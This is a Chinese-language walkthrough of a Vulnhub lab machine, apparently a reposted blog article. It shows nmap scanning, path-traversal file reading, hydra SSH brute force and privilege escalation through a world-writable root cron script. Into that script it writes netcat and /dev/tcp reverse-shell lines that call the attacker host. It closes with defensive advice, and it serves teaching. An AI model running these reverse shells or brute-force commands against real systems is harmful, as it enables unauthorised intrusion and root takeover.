本篇是系列文章第二篇,比之上一篇《Vulnhub未知攻焉知防
》難度有所增加,更側重思路上的突破,講述如何通過信息收集獲取目標系統關鍵信息,將會利用到信息泄露和任意文件讀取漏洞獲取敏感信息,然后構造字典進行ssh爆破拿到用戶密碼獲取權限,最后通過計劃任務提權拿到root權限。(PS:之后的系列文章都將在下面給出攻擊思路,并在最后給出相應的防范措施,希望對攻擊還是防御感興趣的讀者,都能有所收獲)。
1、信息收集:
1)、對目標IP進行端口掃描,探測開放的端口及應用,目標主機開放了22端口和80端口。
2)、從80端口(web服務)入手,進行目錄掃描,發現可用目錄,進入web應用中去測試信息泄露和其他web漏洞。根據信息泄露和文件讀取漏洞所發現的信息,后續進行字典的構造,再去爆破22端口的ssh密碼。最終拿到用戶名密碼,進入目標主機拿下第一個根據點。
2、提權:
拿到服務器權限后一般是低權限賬號,那么就需要提權,本次通過計劃任務反彈shell拿到root權限。提權后拿到root權限,本次攻擊就完成了。
備注:這里所有的掃描、測試和攻擊手段,都是通過一點一點的信息收集,然后采取相應操作,得到一些結果,再基于這些結果線索,采取下一步操作,在行業內都稱為信息收集。
用到的知識點、工具和漏洞:
Kali linux:一款開源、集成了各種安全工具的linux操作系統,以下簡稱kali
Nmap:一款開源的端口掃描器,用于端口掃描及服務識別
Dirbuster:一款目錄掃描器,kali中自帶,用于目錄探測
信息泄露:信息收集中利用的漏洞,相關泄露信息會暴露系統的缺陷弱點
文件讀取:任意文件讀取可用來讀取系統中任意文件,通過page=../../xxx.html的形式進行遍歷,獲取系統敏感數據文件,危害巨大。
Hydra爆破:hydra一款口令爆破工具,可用于爆破ssh、ftp、mysql、telent等應用弱口令,kali中自帶該工具
計劃任務反彈shell:通過計劃任務的執行文件中寫入反彈shell的代碼,在攻擊機中監聽,可用于反彈shell,通俗點講就是拿到具有用戶權限的交互界面,如果該執行文件是root創建的,那么拿到的就是root權限,以此類推。
靶機地址
靶機ip:192.168.43.82
Kaliip: 192.168.43.90(攻擊機)
解壓時需要密碼,靶機描述中有提示,算是作者給的小彩頭。
使用該字符串解密,發現失敗
該字符有點像MD5值,遂拿去解密,還是不正確
后來想到可能是16進制,再次拿去解密
得到密碼,成功解壓,后續進入正常環節
主機探測:netdiscover-i eth0 -r 192.168.43.0/24
端口探測及服務識別:nmap-sS -sV -T5 -A 192.168.43.82
當前靶機開放了22和80端口,首先以80的web服務為突破口。
Ofcourse 先掃波目錄,這里使用的kali自帶的dirbuster
發現了首頁和manual目錄,manual目錄打開是apache的配置文檔,沒啥好利用的。先打開首頁index.html看看
這里是個密碼強度檢測器,先隨意輸入密碼提交試試
密碼要求至少8個字符,包括大小寫字母,1個數字,1個特殊字符,遂再次構造密碼提交
提交后,彈出提示框,并輸出一句話,翻譯過來就是:密碼足夠強壯了,包含了大小寫字母,數字,特殊字符,這個withflag=1值得考慮,這里開始沒懂,以為就是提示的php頁面,直接拿去訪問
后來反應過來,是將flag用1替換,感覺這急轉彎出的可以
提示找到password.txt,但該頁面無顯示,一般的做法就是查看下前端源碼,會有意外驚喜。
果不其然,這里提示使用page參數,應該是利用文件讀取找到password.txt,于是構造url進行嘗試,最后找到password.txt文件
根據提示,用戶名為yash,密碼為ya5h**,后兩位忘記了,估計是構造字典進行爆破,猜測是數字或者字母組合,所以準備先嘗試數字00-99,字母aa-zz,最后再嘗試數字字母混合組合。
這里大家可以自行嘗試,我這里在第二輪字母組合進行爆破時,已經發現了正確密碼。這里使用的爆破工具為hydra,使用命令如下
Hydra -l 用戶名-P 密碼字典目標IP 協議
示例:hydra-l yash -P password.txt 192.168.43.82 ssh
下面就ssh登錄進去
拿到yash目錄下的flag
一串疑似base64編碼字符串,好奇心促使著我去解密一下
似乎得到了某種提示,于是又去訪問上述頁面,還使用了文件讀取去查詢該頁面,都沒有什么結果,后面復盤時發現我都已經進入系統了,只要考慮提權即可。
話不多說,下面需要進行提權,因為剛得到的shell權限較低,得想辦法獲取高權限賬戶,最終獲取root權限。
cat /etc/passwd查看一下系統存在的用戶
下面是提權常規方法,沖呀
Sudo -l 查詢具有sudo權限命令,然后提權
SUID提權,find / -perm -u=s -type f 2>/dev/null
通過在/etc/passwd添加一個root權限的賬戶進行提權,
find / -writable -type f 2>/dev/null 查找可利用的可寫文件
內核提權
其他
這里使用sudo-l 查詢有哪些sudo權限命令
看來此路不通
下一步,查看具有SUID執行權限的文件
看來此路也不通
下一步,查看具有可寫權限文件
這里觀察到一個.sh文件,在yash用戶目錄下
ls-la 查看下該目錄下文件
該文件root具有執行權限,其他用戶具有可寫權限,闊兮呀,如果能執行的話,倒是能通過該文件提權
在其他目錄里也沒找到有用的信息,突然想起計劃任務也是能夠利用的,于是查看下計劃任務
Cat/etc/crontab
發現計劃任務里每分鐘執行一次perm.sh文件,然后又是具有可寫權限的,這里就能夠利用來反彈shell,在文件里添加2條反彈shell的命令,加2條的原因是怕其中1個不起作用。
nc-e /bin/bash 192.168.43.90 1234
bash-i >& /dev/tcp/192.168.43.90/1234 0>&
然后kali監聽1234端口,等待1分鐘。
等待一會,拿到shell,權限為root
讀取最后的flag
通過此篇攻防系列文章,信息安全防護總結如下:
對于有關系統的敏感信息或測試信息盡量不要展示在前端或前端源碼中
加密算法使用強加密算法,如(RSA、3DES、AES),避免使用弱加密算法,如(base64、md5等)
Ssh設置登錄次數限制,加強密碼復雜度(要求8位已上,含大小寫字母、數字、特殊字符三種及已上),避免使用跟公司單位掛鉤的密碼組合如(Shsnc123!@#)
任意文件讀取漏洞防護:對于page、file等參數傳參時,應過濾../../等非法字符,配置用戶輸入白名單
計劃任務的執行文件不能為root所創建,并且其他用戶不應具有可寫權限。
文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。
轉載請注明本文地址:http://m.specialneedsforspecialkids.com/yun/130072.html
摘要:本文將分享軟件基本用法及文件進程注冊表查看,這是一款微軟推薦的系統監視工具,功能非常強大可用來檢測惡意軟件。可以幫助使用者對系統中的任何文件注冊表操作進行監視和記錄,通過注冊表和文件讀寫的變化,有效幫助診斷系統故障或發現惡意軟件病毒及木馬。 ...
閱讀 1353·2023-01-11 13:20
閱讀 1699·2023-01-11 13:20
閱讀 1211·2023-01-11 13:20
閱讀 1902·2023-01-11 13:20
閱讀 4161·2023-01-11 13:20
閱讀 2751·2023-01-11 13:20
閱讀 1397·2023-01-11 13:20
閱讀 3664·2023-01-11 13:20